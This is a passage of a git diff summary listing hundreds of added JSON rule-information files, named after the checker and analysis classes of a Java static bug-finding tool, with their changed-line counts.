.../checkers/HTMLBugReporter.json | 13 + .../Rule Information/checkers/I18N.json | 13 + .../checkers/IClassScreener.json | 13 + .../checkers/IFindBugsEngine.json | 13 + .../checkers/IGuiCallback.json | 13 + .../checkers/InstructionScanner.json | 13 + .../checkers/InstructionScannerDriver.json | 13 + .../checkers/InstructionScannerGenerator.json | 13 + .../checkers/IntAnnotation.json | 23 + .../InterproceduralFirstPassDetector.json | 13 + .../checkers/JavaVersion.json | 23 + .../checkers/JavaVersionException.json | 13 + .../Rule Information/checkers/L10N.json | 13 + .../checkers/LaunchAppropriateUI.json | 13 + .../checkers/LocalVariableAnnotation.json | 13 + .../Rule Information/checkers/Lookup.json | 13 + .../checkers/MethodAnnotation.json | 13 + .../checkers/MethodWarningSuppressor.json | 13 + .../Rule Information/checkers/NewResults.json | 13 + .../NoClassesFoundToAnalyzeException.json | 13 + .../checkers/NoOpFindBugsProgress.json | 13 + .../checkers/NonReportingDetector.json | 13 + ...onReportingDetectorToDetector2Adapter.json | 13 + .../Rule Information/checkers/Obfuscate.json | 32 ++ .../checkers/OpcodeStack.json | 13 + .../checkers/PackageMemberAnnotation.json | 13 + .../checkers/PackageStats.json | 13 + .../checkers/PackageWarningSuppressor.json | 13 + .../checkers/ParameterWarningSuppressor.json | 13 + .../Rule Information/checkers/Plugin.json | 13 + .../PluginDoesntContainMetadataException.json | 13 + .../checkers/PluginException.json | 13 + .../checkers/PluginLoader.json | 13 + .../checkers/PrintingBugReporter.json | 13 + .../Rule Information/checkers/Priorities.json | 13 + .../checkers/ProgramPoint.json | 13 + .../Rule Information/checkers/Project.json | 13 + .../checkers/ProjectPackagePrefixes.json | 13 + .../checkers/ProjectStats.json | 13 + .../checkers/PropertyBundle.json | 13 + .../checkers/RecursiveFileSearch.json | 13 + .../checkers/ResourceCollection.json | 13 + .../checkers/ResourceCreationPoint.json | 13 + .../checkers/ResourceTrackingDetector.json | 13 + .../checkers/SAXBugCollectionHandler.json | 59 ++ .../Rule Information/checkers/SelfCalls.json | 13 + .../Rule Information/checkers/ShowHelp.json | 13 + .../checkers/SloppyBugComparator.json | 13 + .../checkers/SortedBugCollection.json | 23 + .../checkers/SortingBugReporter.json | 13 + .../checkers/SourceLineAnnotation.json | 13 + .../checkers/StackMapAnalyzer.json | 13 + .../Rule Information/checkers/StartTime.json | 13 + .../checkers/StatelessDetector.json | 13 + .../checkers/StringAnnotation.json | 13 + .../checkers/SuppressionMatcher.json | 158 ++++++ .../SuppressionMatcherBugReporter.json | 41 ++ .../checkers/SwitchHandler.json | 13 + .../checkers/SynchronizedBugReporter.json | 23 + .../checkers/SystemProperties.json | 13 + .../checkers/TextUIBugReporter.json | 13 + .../checkers/TextUICommandLine.json | 68 +++ .../checkers/TextUIProgressCallback.json | 13 + .../Rule Information/checkers/Token.json | 13 + .../Rule Information/checkers/Tokenizer.json | 13 + .../checkers/TrainingDetector.json | 13 + .../checkers/TypeAnnotation.json | 13 + .../checkers/UseAnnotationDatabase.json | 13 + .../Rule Information/checkers/Version.json | 13 + .../VersionInsensitiveBugComparator.json | 41 ++ .../checkers/WarningComparator.json | 13 + .../checkers/WarningSuppressor.json | 41 ++ .../checkers/XDocsBugReporter.json | 32 ++ .../checkers/XMLBugReporter.json | 13 + .../checkers/XMLWriteableWithMessages.json | 13 + .../checkers/asm/AbstractFBMethodVisitor.json | 13 + .../checkers/asm/ClassNodeDetector.json | 13 + .../checkers/asm/FBClassReader.json | 13 + .../checkers/asm/FBMethodVisitor.json | 13 + .../checkers/ba/AbstractBlockOrder.json | 13 + .../checkers/ba/AbstractClassMember.json | 13 + .../checkers/ba/AbstractDataflow.json | 13 + .../checkers/ba/AbstractDataflowAnalysis.json | 13 + .../ba/AbstractDominatorsAnalysis.json | 13 + .../checkers/ba/AbstractField.json | 13 + .../ba/AbstractFrameModelingVisitor.json | 13 + .../checkers/ba/AbstractMethod.json | 13 + .../checkers/ba/AccessMethodDatabase.json | 13 + .../checkers/ba/AccessibleEntity.json | 13 + .../checkers/ba/AnalysisContext.json | 13 + .../checkers/ba/AnalysisException.json | 13 + .../checkers/ba/AnalysisFeatures.json | 13 + .../checkers/ba/AnnotationDatabase.json | 13 + .../checkers/ba/AnnotationEnumeration.json | 13 + .../ba/AnnotationRetentionDatabase.json | 13 + .../checkers/ba/AssertionMethods.json | 13 + .../checkers/ba/AssignedFieldMap.json | 13 + .../checkers/ba/BackwardDataflowAnalysis.json | 13 + .../ba/BasicAbstractDataflowAnalysis.json | 13 + .../checkers/ba/BasicBlock.json | 13 + .../checkers/ba/BetterCFGBuilder2.json | 13 + .../checkers/ba/BlockOrder.json | 13 + .../checkers/ba/BlockType.json | 13 + .../checkers/ba/BlockTypeAnalysis.json | 13 + .../checkers/ba/BlockTypeDataflow.json | 13 + .../checkers/ba/BytecodeScanner.json | 13 + .../Rule Information/checkers/ba/CFG.json | 13 + .../checkers/ba/CFGBuilder.json | 13 + .../checkers/ba/CFGBuilderException.json | 13 + .../checkers/ba/CFGBuilderFactory.json | 13 + .../checkers/ba/CFGPrinter.json | 13 + .../ba/CheckReturnAnnotationDatabase.json | 13 + .../ba/CheckReturnValueAnnotation.json | 13 + .../checkers/ba/ClassContext.json | 13 + .../checkers/ba/ClassHash.json | 13 + .../checkers/ba/ClassMember.json | 13 + .../ba/ClassNotFoundExceptionParser.json | 13 + .../checkers/ba/ClassSummary.json | 13 + .../checkers/ba/CompactLocationNumbering.json | 13 + .../checkers/ba/ComparableField.json | 13 + .../checkers/ba/ComparableMethod.json | 13 + .../checkers/ba/CompoundMethodChooser.json | 13 + .../checkers/ba/DFSCFGPrinter.json | 13 + .../checkers/ba/DFSEdgeTypes.json | 13 + .../checkers/ba/Dataflow.json | 13 + .../checkers/ba/DataflowAnalysis.json | 13 + .../ba/DataflowAnalysisException.json | 13 + .../checkers/ba/DataflowCFGPrinter.json | 13 + .../checkers/ba/DataflowValueChooser.json | 13 + .../Rule Information/checkers/ba/Debug.json | 13 + .../DebugRepositoryLookupFailureCallback.json | 13 + .../ba/DefaultNullnessAnnotations.json | 13 + .../checkers/ba/DepthFirstSearch.json | 13 + .../checkers/ba/DominatorsAnalysis.json | 13 + .../Rule Information/checkers/ba/Edge.json | 13 + .../checkers/ba/EdgeChooser.json | 13 + .../checkers/ba/EdgeTypes.json | 13 + .../checkers/ba/EqualsKindSummary.json | 13 + .../checkers/ba/ExceptionHandlerMap.json | 13 + .../checkers/ba/FieldSummary.json | 13 + .../checkers/ba/FileSourceFileDataSource.json | 13 + .../checkers/ba/ForwardDataflowAnalysis.json | 13 + .../Rule Information/checkers/ba/Frame.json | 23 + .../checkers/ba/FrameDataflowAnalysis.json | 13 + .../checkers/ba/Hierarchy.json | 13 + .../checkers/ba/Hierarchy2.json | 13 + .../ba/INullnessAnnotationDatabase.json | 13 + .../checkers/ba/IncompatibleTypes.json | 13 + .../checkers/ba/InnerClassAccess.json | 13 + .../checkers/ba/InnerClassAccessMap.json | 13 + .../checkers/ba/InstructionHandleMap.json | 13 + .../checkers/ba/InvalidBytecodeException.json | 13 + .../checkers/ba/JCIPAnnotationDatabase.json | 13 + .../checkers/ba/JavaClassAndMethod.json | 13 + .../ba/JavaClassAndMethodChooser.json | 13 + .../checkers/ba/LineNumberMap.json | 13 + .../checkers/ba/LiveLocalStoreAnalysis.json | 13 + .../checkers/ba/LiveLocalStoreDataflow.json | 13 + .../checkers/ba/Location.json | 13 + .../checkers/ba/LockAnalysis.json | 13 + .../checkers/ba/LockChecker.json | 13 + .../checkers/ba/LockDataflow.json | 13 + .../Rule Information/checkers/ba/LockSet.json | 13 + .../checkers/ba/MethodBytecodeSet.json | 13 + .../checkers/ba/MethodChooser.json | 13 + .../checkers/ba/MethodHash.json | 77 +++ .../ba/MethodUnprofitableException.json | 13 + .../checkers/ba/MissingClassException.json | 13 + .../checkers/ba/NullnessAnnotation.json | 13 + .../ba/NullnessAnnotationDatabase.json | 13 + .../checkers/ba/ObjectTypeFactory.json | 13 + .../checkers/ba/OpcodeStackScanner.json | 13 + .../Rule Information/checkers/ba/Path.json | 13 + .../checkers/ba/PathVisitor.json | 13 + .../checkers/ba/PostDominatorsAnalysis.json | 13 + .../ba/PruneInfeasibleExceptionEdges.json | 13 + ...uneUnconditionalExceptionThrowerEdges.json | 13 + .../checkers/ba/PutfieldScanner.json | 13 + .../checkers/ba/RepositoryClassParser.json | 13 + .../ba/RepositoryLookupFailureCallback.json | 13 + .../checkers/ba/ResourceTracker.json | 13 + .../checkers/ba/ResourceValue.json | 13 + .../checkers/ba/ResourceValueAnalysis.json | 13 + .../checkers/ba/ResourceValueFrame.json | 13 + .../ba/ResourceValueFrameModelingVisitor.json | 13 + .../checkers/ba/ReturnPath.json | 13 + .../checkers/ba/ReturnPathAnalysis.json | 13 + .../checkers/ba/ReturnPathDataflow.json | 13 + .../checkers/ba/ReverseDFSOrder.json | 13 + .../checkers/ba/ReverseDepthFirstSearch.json | 13 + .../checkers/ba/ReversePostOrder.json | 13 + .../checkers/ba/SignatureConverter.json | 13 + .../checkers/ba/SignatureParser.json | 32 ++ .../checkers/ba/SimplePathEnumerator.json | 13 + .../checkers/ba/SourceFile.json | 13 + .../checkers/ba/SourceFileDataSource.json | 13 + .../checkers/ba/SourceFinder.json | 13 + .../checkers/ba/SourceInfoMap.json | 13 + .../checkers/ba/StackDepth.json | 13 + .../checkers/ba/StackDepthAnalysis.json | 13 + .../Rule Information/checkers/ba/Target.json | 13 + .../checkers/ba/TargetEnumeratingVisitor.json | 13 + .../checkers/ba/TestCaseDetector.json | 13 + .../checkers/ba/URLClassPath.json | 13 + .../checkers/ba/URLClassPathRepository.json | 13 + .../checkers/ba/UnresolvedXField.json | 13 + .../checkers/ba/UnresolvedXMethod.json | 13 + .../Rule Information/checkers/ba/XClass.json | 13 + .../checkers/ba/XFactory.json | 13 + .../Rule Information/checkers/ba/XField.json | 13 + .../Rule Information/checkers/ba/XMethod.json | 13 + .../checkers/ba/XMethodParameter.json | 13 + .../checkers/ba/ZipSourceFileDataSource.json | 13 + .../checkers/ba/bcp/Binding.json | 13 + .../checkers/ba/bcp/BindingSet.json | 13 + .../checkers/ba/bcp/ByteCodePattern.json | 13 + .../checkers/ba/bcp/ByteCodePatternMatch.json | 13 + .../checkers/ba/bcp/FieldAccess.json | 13 + .../checkers/ba/bcp/FieldVariable.json | 13 + .../checkers/ba/bcp/IfNull.json | 13 + .../checkers/ba/bcp/Invoke.json | 13 + .../checkers/ba/bcp/Load.json | 13 + .../checkers/ba/bcp/LocalVariable.json | 13 + .../ba/bcp/LongOrDoubleLocalVariable.json | 13 + .../checkers/ba/bcp/MatchAny.json | 13 + .../checkers/ba/bcp/MatchResult.json | 13 + .../checkers/ba/bcp/Monitorenter.json | 13 + .../Rule Information/checkers/ba/bcp/New.json | 13 + .../ba/bcp/OneVariableInstruction.json | 13 + .../checkers/ba/bcp/Opcode.json | 13 + .../checkers/ba/bcp/PatternElement.json | 13 + .../checkers/ba/bcp/PatternElementMatch.json | 13 + .../checkers/ba/bcp/PatternMatcher.json | 13 + .../checkers/ba/bcp/SingleInstruction.json | 13 + .../checkers/ba/bcp/Store.json | 13 + .../checkers/ba/bcp/Variable.json | 13 + .../checkers/ba/bcp/Wild.json | 13 + .../checkers/ba/bcp/package-info.json | 13 + .../Rule Information/checkers/ba/ca/Call.json | 13 + .../checkers/ba/ca/CallList.json | 13 + .../checkers/ba/ca/CallListAnalysis.json | 13 + .../checkers/ba/ca/CallListDataflow.json | 13 + .../checkers/ba/ca/package-info.json | 13 + .../checkers/ba/ch/ClassVertex.json | 13 + .../checkers/ba/ch/InheritanceEdge.json | 13 + .../checkers/ba/ch/InheritanceGraph.json | 13 + .../ba/ch/InheritanceGraphVisitor.json | 13 + .../ba/ch/InterproceduralCallGraph.json | 13 + .../ba/ch/InterproceduralCallGraphEdge.json | 13 + .../ba/ch/InterproceduralCallGraphVertex.json | 13 + .../ba/ch/OverriddenMethodsVisitor.json | 13 + .../checkers/ba/ch/Subtypes2.json | 149 +++++ .../ba/ch/SupertypeTraversalVisitor.json | 13 + .../checkers/ba/ch/package-info.json | 13 + .../checkers/ba/constant/Constant.json | 13 + .../ba/constant/ConstantAnalysis.json | 13 + .../ba/constant/ConstantDataflow.json | 13 + .../checkers/ba/constant/ConstantFrame.json | 13 + .../ConstantFrameModelingVisitor.json | 13 + .../checkers/ba/constant/package-info.json | 13 + .../UnconditionalValueDerefAnalysis.json | 13 + .../UnconditionalValueDerefDataflow.json | 13 + .../ba/deref/UnconditionalValueDerefSet.json | 13 + .../checkers/ba/deref/package-info.json | 13 + .../ba/generic/GenericObjectType.json | 13 + .../ba/generic/GenericSignatureParser.json | 50 ++ .../checkers/ba/generic/GenericUtilities.json | 95 ++++ .../checkers/ba/generic/package-info.json | 13 + .../checkers/ba/heap/FieldSet.json | 13 + .../checkers/ba/heap/FieldSetAnalysis.json | 13 + .../checkers/ba/heap/LoadAnalysis.json | 13 + .../checkers/ba/heap/LoadDataflow.json | 13 + .../checkers/ba/heap/StoreAnalysis.json | 13 + .../checkers/ba/heap/StoreDataflow.json | 13 + .../checkers/ba/heap/package-info.json | 13 + .../ba/interproc/FieldPropertyDatabase.json | 13 + .../ba/interproc/MethodPropertyDatabase.json | 13 + .../ba/interproc/ParameterProperty.json | 13 + .../ba/interproc/PropertyDatabase.json | 13 + .../PropertyDatabaseFormatException.json | 13 + .../checkers/ba/interproc/package-info.json | 13 + .../AbstractMethodAnnotationAccumulator.json | 13 + .../checkers/ba/jsr305/Analysis.json | 13 + .../jsr305/BackwardTypeQualifierDataflow.json | 13 + ...BackwardTypeQualifierDataflowAnalysis.json | 13 + .../BackwardTypeQualifierDataflowFactory.json | 13 + ...irectlyRelevantTypeQualifiersDatabase.json | 13 + .../ba/jsr305/FindBugsDefaultAnnotations.json | 13 + .../checkers/ba/jsr305/FlowValue.json | 13 + .../jsr305/ForwardTypeQualifierDataflow.json | 13 + .../ForwardTypeQualifierDataflowAnalysis.json | 13 + .../ForwardTypeQualifierDataflowFactory.json | 13 + .../ba/jsr305/JSR305NullnessAnnotations.json | 13 + .../ParameterAnnotationAccumulator.json | 13 + .../ParameterAnnotationLookupResult.json | 13 + .../ReturnTypeAnnotationAccumulator.json | 13 + .../ReturnTypeAnnotationLookupResult.json | 13 + .../checkers/ba/jsr305/SourceSinkInfo.json | 13 + .../checkers/ba/jsr305/SourceSinkType.json | 13 + .../ba/jsr305/TypeQualifierAnnotation.json | 13 + .../TypeQualifierAnnotationLookupResult.json | 13 + .../ba/jsr305/TypeQualifierApplications.json | 13 + .../ba/jsr305/TypeQualifierDatabase.json | 13 + .../ba/jsr305/TypeQualifierDataflow.json | 13 + .../jsr305/TypeQualifierDataflowAnalysis.json | 13 + .../jsr305/TypeQualifierDataflowFactory.json | 13 + .../ba/jsr305/TypeQualifierResolver.json | 13 + .../ba/jsr305/TypeQualifierValue.json | 13 + .../ba/jsr305/TypeQualifierValueSet.json | 13 + .../ba/jsr305/ValidatorClassLoader.json | 13 + .../checkers/ba/jsr305/package-info.json | 13 + .../checkers/ba/npe/DerefFinder.json | 13 + .../ba/npe/IsNullConditionDecision.json | 13 + .../checkers/ba/npe/IsNullValue.json | 77 +++ .../checkers/ba/npe/IsNullValueAnalysis.json | 13 + .../ba/npe/IsNullValueAnalysisFeatures.json | 13 + .../checkers/ba/npe/IsNullValueDataflow.json | 13 + .../checkers/ba/npe/IsNullValueFrame.json | 13 + .../npe/IsNullValueFrameModelingVisitor.json | 13 + .../ba/npe/LocationWhereValueBecomesNull.json | 13 + .../ba/npe/MayReturnNullPropertyDatabase.json | 13 + .../ba/npe/NonNullParamViolation.json | 13 + .../checkers/ba/npe/NonNullSpecification.json | 13 + ...lDerefAndRedundantComparisonCollector.json | 13 + ...NullDerefAndRedundantComparisonFinder.json | 13 + .../ba/npe/NullValueUnconditionalDeref.json | 13 + .../ParameterNullnessPropertyDatabase.json | 13 + .../PointerUsageRequiringNonNullValue.json | 13 + .../checkers/ba/npe/RedundantBranch.json | 13 + .../checkers/ba/npe/ReturnPathType.json | 104 ++++ .../ba/npe/ReturnPathTypeAnalysis.json | 13 + .../ba/npe/ReturnPathTypeDataflow.json | 13 + .../ReturnValueNullnessPropertyDatabase.json | 13 + ...peQualifierNullnessAnnotationDatabase.json | 13 + .../ba/npe/UsagesRequiringNonNullValues.json | 13 + .../checkers/ba/npe/package-info.json | 13 + .../ba/obl/InstructionActionCache.json | 13 + .../checkers/ba/obl/MatchMethodEntry.json | 13 + .../obl/NonexistentObligationException.json | 13 + .../checkers/ba/obl/Obligation.json | 13 + ...tionAcquiredOrReleasedInLoopException.json | 13 + .../checkers/ba/obl/ObligationAnalysis.json | 13 + .../checkers/ba/obl/ObligationDataflow.json | 13 + .../checkers/ba/obl/ObligationFactory.json | 13 + .../ba/obl/ObligationPolicyDatabase.json | 13 + .../obl/ObligationPolicyDatabaseAction.json | 13 + .../ObligationPolicyDatabaseActionType.json | 13 + .../ba/obl/ObligationPolicyDatabaseEntry.json | 13 + .../ObligationPolicyDatabaseEntryType.json | 13 + .../checkers/ba/obl/ObligationSet.json | 13 + .../checkers/ba/obl/State.json | 13 + .../checkers/ba/obl/StateSet.json | 13 + .../checkers/ba/obl/package-info.json | 13 + .../checkers/ba/package-info.json | 13 + .../checkers/ba/type/BottomType.json | 13 + .../checkers/ba/type/DoubleExtraType.json | 13 + .../checkers/ba/type/ExceptionObjectType.json | 13 + .../checkers/ba/type/ExceptionSet.json | 13 + .../checkers/ba/type/ExceptionSetFactory.json | 13 + .../checkers/ba/type/ExtendedTypes.json | 13 + .../checkers/ba/type/FieldStoreType.json | 13 + .../ba/type/FieldStoreTypeDatabase.json | 13 + .../checkers/ba/type/LongExtraType.json | 13 + .../checkers/ba/type/NullType.json | 13 + .../checkers/ba/type/StandardTypeMerger.json | 13 + .../checkers/ba/type/ThrownException.json | 13 + .../checkers/ba/type/TopType.json | 13 + .../checkers/ba/type/TypeAnalysis.json | 13 + .../checkers/ba/type/TypeDataflow.json | 13 + .../checkers/ba/type/TypeFrame.json | 13 + .../ba/type/TypeFrameModelingVisitor.json | 23 + .../checkers/ba/type/TypeMerger.json | 13 + .../checkers/ba/type/package-info.json | 13 + .../checkers/ba/vna/AvailableLoad.json | 13 + .../checkers/ba/vna/LoadedFieldSet.json | 13 + .../checkers/ba/vna/MergeTree.json | 13 + .../checkers/ba/vna/ValueNumber.json | 13 + .../checkers/ba/vna/ValueNumberAnalysis.json | 13 + .../ba/vna/ValueNumberAnalysisFeatures.json | 13 + .../checkers/ba/vna/ValueNumberCache.json | 13 + .../checkers/ba/vna/ValueNumberDataflow.json | 13 + .../checkers/ba/vna/ValueNumberFactory.json | 13 + .../checkers/ba/vna/ValueNumberFrame.json | 13 + .../vna/ValueNumberFrameModelingVisitor.json | 13 + .../ba/vna/ValueNumberSourceInfo.json | 13 + .../checkers/ba/vna/package-info.json | 13 + .../checkers/bcel/AnnotationDetector.json | 13 + .../checkers/bcel/BCELUtil.json | 13 + .../checkers/bcel/CFGDetector.json | 13 + .../checkers/bcel/OpcodeStackDetector.json | 13 + .../checkers/bcel/PreorderDetector.json | 13 + .../checkers/bcel/generic/NONNULL2Z.json | 13 + .../checkers/bcel/generic/NULL2Z.json | 13 + .../NullnessConversationInstruction.json | 13 + .../checkers/bcel/generic/package-info.json | 13 + .../checkers/bcel/package-info.json | 13 + .../bugReporter/BugReporterDecorator.json | 13 + .../bugReporter/MaxRankDecorator.json | 13 + .../bugReporter/SuppressionDecorator.json | 13 + .../checkers/bytecode/MemberUtils.json | 13 + .../checkers/charsets/SourceCharset.json | 13 + .../checkers/charsets/UTF8.json | 13 + .../checkers/charsets/UserTextFile.json | 13 + .../classfile/CheckedAnalysisException.json | 13 + .../checkers/classfile/ClassDescriptor.json | 13 + .../classfile/ClassNameMismatchException.json | 13 + .../checkers/classfile/DescriptorFactory.json | 13 + .../checkers/classfile/FieldDescriptor.json | 13 + .../classfile/FieldOrMethodDescriptor.json | 13 + .../checkers/classfile/FieldOrMethodName.json | 13 + .../checkers/classfile/Global.json | 13 + .../checkers/classfile/IAnalysisCache.json | 13 + .../checkers/classfile/IAnalysisEngine.json | 13 + .../classfile/IAnalysisEngineRegistrar.json | 13 + .../classfile/IClassAnalysisEngine.json | 13 + .../checkers/classfile/IClassConstants.json | 13 + .../checkers/classfile/IClassFactory.json | 13 + .../checkers/classfile/IClassObserver.json | 13 + .../checkers/classfile/IClassPath.json | 13 + .../checkers/classfile/IClassPathBuilder.json | 13 + .../classfile/IClassPathBuilderProgress.json | 13 + .../checkers/classfile/ICodeBase.json | 13 + .../checkers/classfile/ICodeBaseEntry.json | 13 + .../checkers/classfile/ICodeBaseIterator.json | 13 + .../checkers/classfile/ICodeBaseLocator.json | 13 + .../checkers/classfile/IDatabaseFactory.json | 13 + .../checkers/classfile/IErrorLogger.json | 13 + .../classfile/IMethodAnalysisEngine.json | 13 + .../classfile/IScannableCodeBase.json | 13 + .../InvalidClassFileFormatException.json | 13 + .../checkers/classfile/MethodDescriptor.json | 13 + .../classfile/MissingClassException.json | 13 + .../RecomputableClassAnalysisEngine.json | 13 + .../classfile/ReflectionDatabaseFactory.json | 13 + .../classfile/ResourceNotFoundException.json | 13 + .../classfile/UncheckedAnalysisException.json | 13 + .../classfile/analysis/AnnotatedObject.json | 13 + .../classfile/analysis/AnnotationValue.json | 13 + .../classfile/analysis/ClassData.json | 13 + .../classfile/analysis/ClassInfo.json | 13 + .../analysis/ClassNameAndSuperclassInfo.json | 13 + .../classfile/analysis/EnumValue.json | 13 + .../classfile/analysis/FieldInfo.json | 13 + .../classfile/analysis/MethodInfo.json | 13 + .../classfile/analysis/package-info.json | 13 + .../AbstractFieldAnnotationVisitor.json | 13 + .../engine/AbstractMethodVisitor.json | 13 + .../engine/ClassDataAnalysisEngine.json | 13 + .../engine/ClassInfoAnalysisEngine.json | 13 + ...ssNameAndSuperclassInfoAnalysisEngine.json | 13 + .../classfile/engine/ClassParser.json | 13 + .../engine/ClassParserInterface.json | 13 + .../classfile/engine/ClassParserUsingASM.json | 13 + .../engine/ClassParserUsingBCEL.json | 13 + .../classfile/engine/EngineRegistrar.json | 13 + .../classfile/engine/SelfMethodCalls.json | 13 + .../engine/asm/ClassNodeAnalysisEngine.json | 13 + .../engine/asm/ClassReaderAnalysisEngine.json | 13 + .../classfile/engine/asm/EngineRegistrar.json | 13 + .../classfile/engine/asm/FindBugsASM.json | 13 + .../classfile/engine/asm/package-info.json | 13 + .../engine/bcel/AnalysisFactory.json | 13 + .../engine/bcel/AssertionMethodsFactory.json | 13 + .../engine/bcel/AssignedFieldMapFactory.json | 13 + ...rdTypeQualifierDataflowFactoryFactory.json | 13 + .../engine/bcel/BlockTypeAnalysisFactory.json | 13 + .../classfile/engine/bcel/CFGFactory.json | 13 + .../engine/bcel/CallListDataflowFactory.json | 13 + .../bcel/ClassContextClassAnalysisEngine.json | 13 + .../bcel/CompactLocationNumberingFactory.json | 13 + .../engine/bcel/ConstantDataflowFactory.json | 13 + .../engine/bcel/ConstantPoolGenFactory.json | 13 + .../engine/bcel/DepthFirstSearchFactory.json | 13 + .../engine/bcel/EngineRegistrar.json | 13 + .../bcel/ExceptionSetFactoryFactory.json | 13 + .../bcel/FinallyDuplicatesInfoFactory.json | 13 + ...rdTypeQualifierDataflowFactoryFactory.json | 13 + .../bcel/IsNullValueDataflowFactory.json | 13 + .../engine/bcel/JavaClassAnalysisEngine.json | 13 + .../bcel/LiveLocalStoreDataflowFactory.json | 13 + .../engine/bcel/LoadDataflowFactory.json | 13 + .../engine/bcel/LoadedFieldSetFactory.json | 13 + .../engine/bcel/LockCheckerFactory.json | 13 + .../engine/bcel/LockDataflowFactory.json | 13 + .../engine/bcel/MethodBytecodeSetFactory.json | 13 + .../classfile/engine/bcel/MethodFactory.json | 13 + .../engine/bcel/MethodGenFactory.json | 13 + .../bcel/NonExceptionDominatorsAnalysis.json | 13 + ...NonExceptionDominatorsAnalysisFactory.json | 13 + .../NonExceptionPostDominatorsAnalysis.json | 13 + ...xceptionPostDominatorsAnalysisFactory.json | 13 + ...onImplicitExceptionDominatorsAnalysis.json | 13 + ...citExceptionDominatorsAnalysisFactory.json | 13 + ...plicitExceptionPostDominatorsAnalysis.json | 13 + ...xceptionPostDominatorsAnalysisFactory.json | 13 + .../bcel/ObligationDataflowFactory.json | 13 + .../bcel/ParameterSignatureListFactory.json | 13 + .../bcel/ReturnPathDataflowFactory.json | 13 + .../bcel/ReturnPathTypeDataflowFactory.json | 13 + .../bcel/ReverseDepthFirstSearchFactory.json | 13 + .../engine/bcel/StoreDataflowFactory.json | 13 + .../engine/bcel/TypeDataflowFactory.json | 13 + ...nconditionalValueDerefDataflowFactory.json | 13 + .../engine/bcel/UnpackedBytecodeCallback.json | 13 + .../classfile/engine/bcel/UnpackedCode.json | 13 + .../engine/bcel/UnpackedCodeFactory.json | 13 + .../UsagesRequiringNonNullValuesFactory.json | 13 + .../bcel/ValueNumberDataflowFactory.json | 13 + .../bcel/ValueRangeAnalysisFactory.json | 13 + .../classfile/engine/bcel/package-info.json | 13 + .../classfile/engine/package-info.json | 13 + .../impl/AbstractScannableCodeBase.json | 13 + .../impl/AbstractScannableCodeBaseEntry.json | 13 + .../classfile/impl/AnalysisCache.json | 13 + .../checkers/classfile/impl/ClassFactory.json | 50 ++ .../classfile/impl/ClassPathBuilder.json | 32 ++ .../classfile/impl/ClassPathImpl.json | 13 + .../impl/DelegatingCodeBaseEntry.json | 13 + .../impl/DelegatingCodeBaseIterator.json | 13 + .../classfile/impl/DirectoryCodeBase.json | 13 + .../impl/DirectoryCodeBaseEntry.json | 13 + .../classfile/impl/EmptyCodeBase.json | 13 + .../impl/FilesystemCodeBaseLocator.json | 13 + .../classfile/impl/JrtfsCodeBase.json | 13 + .../classfile/impl/NestedZipFileCodeBase.json | 13 + .../impl/NestedZipFileCodeBaseLocator.json | 13 + .../classfile/impl/SingleFileCodeBase.json | 13 + .../impl/SingleFileCodeBaseEntry.json | 13 + .../classfile/impl/ZipCodeBaseFactory.json | 13 + .../classfile/impl/ZipFileCodeBase.json | 13 + .../classfile/impl/ZipFileCodeBaseEntry.json | 13 + .../impl/ZipInputStreamCodeBase.json | 13 + .../impl/ZipInputStreamCodeBaseEntry.json | 13 + .../checkers/classfile/impl/package-info.json | 13 + .../checkers/classfile/package-info.json | 13 + .../config/AnalysisFeatureSetting.json | 13 + .../checkers/config/CommandLine.json | 50 ++ .../config/ProjectFilterSettings.json | 86 +++ .../checkers/config/SortedProperties.json | 13 + .../checkers/config/UserPreferences.json | 59 ++ .../checkers/cwe/Weakness.json | 13 + .../checkers/cwe/WeaknessCatalog.json | 68 +++ .../checkers/cwe/WeaknessSeverity.json | 13 + .../detect/AbstractAssertDetector.json | 13 + .../AnyMethodReturnValueStreamFactory.json | 13 + .../AppendingToAnObjectOutputStream.json | 13 + .../checkers/detect/AtomicityProblem.json | 13 + .../checkers/detect/BadAppletConstructor.json | 13 + .../checkers/detect/BadResultSetAccess.json | 13 + .../detect/BadSyntaxForRegularExpression.json | 13 + .../checkers/detect/BadUseOfReturnValue.json | 13 + .../detect/BadlyOverriddenAdapter.json | 13 + .../checkers/detect/BooleanReturnNull.json | 13 + .../detect/BuildAccessMethodsDatabase.json | 13 + .../BuildCheckReturnAnnotationDatabase.json | 13 + .../detect/BuildInterproceduralCallGraph.json | 13 + .../BuildNonNullAnnotationDatabase.json | 13 + .../detect/BuildNonnullReturnDatabase.json | 13 + .../detect/BuildObligationPolicyDatabase.json | 13 + .../detect/BuildStringPassthruGraph.json | 13 + .../BuildUnconditionalParamDerefDatabase.json | 13 + .../detect/CallToUnconditionalThrower.json | 13 + .../detect/CallToUnsupportedMethod.json | 13 + .../checkers/detect/CalledMethods.json | 13 + ...eckAnalysisContextContainedAnnotation.json | 13 + .../checkers/detect/CheckCalls.json | 13 + .../detect/CheckExpectedWarnings.json | 13 + .../detect/CheckImmutableAnnotation.json | 13 + .../CheckRelaxingNullnessAnnotation.json | 13 + .../checkers/detect/CheckTypeQualifiers.json | 13 + .../checkers/detect/CloneIdiom.json | 13 + .../checkers/detect/ComparatorIdiom.json | 13 + .../checkers/detect/ConfusedInheritance.json | 13 + ...nfusionBetweenInheritedAndOuterMethod.json | 13 + .../checkers/detect/ConstructorThrow.json | 410 ++++++++++++++ .../detect/CovariantArrayAssignment.json | 13 + .../checkers/detect/CrossSiteScripting.json | 13 + .../detect/DateFormatStringChecker.json | 13 + .../detect/DeadLocalStoreProperty.json | 13 + .../detect/DefaultEncodingDetector.json | 13 + .../checkers/detect/DoInsideDoPrivileged.json | 13 + .../detect/DontAssertInstanceofInTests.json | 13 + ...DontCatchIllegalMonitorStateException.json | 13 + .../detect/DontCatchNullPointerException.json | 13 + .../detect/DontIgnoreResultOfPutIfAbsent.json | 13 + .../detect/DontReusePublicIdentifiers.json | 86 +++ .../checkers/detect/DontUseEnum.json | 13 + .../detect/DontUseFloatsAsLoopCounters.json | 23 + .../detect/DoomedCodeWarningProperty.json | 13 + .../checkers/detect/DroppedException.json | 13 + .../detect/DumbMethodInvocations.json | 13 + .../checkers/detect/DumbMethods.json | 13 + .../checkers/detect/DuplicateBranches.json | 13 + .../checkers/detect/EmptyZipFileEntry.json | 13 + ...randShouldHaveClassCompatibleWithThis.json | 13 + .../detect/ExplicitSerialization.json | 13 + .../checkers/detect/FieldItemSummary.json | 13 + .../checkers/detect/FinalizerNullsFields.json | 13 + .../detect/FindArgumentAssertions.json | 23 + .../detect/FindAssertionsWithSideEffects.json | 23 + .../checkers/detect/FindBadCast2.json | 13 + .../detect/FindBadEndOfStreamCheck.json | 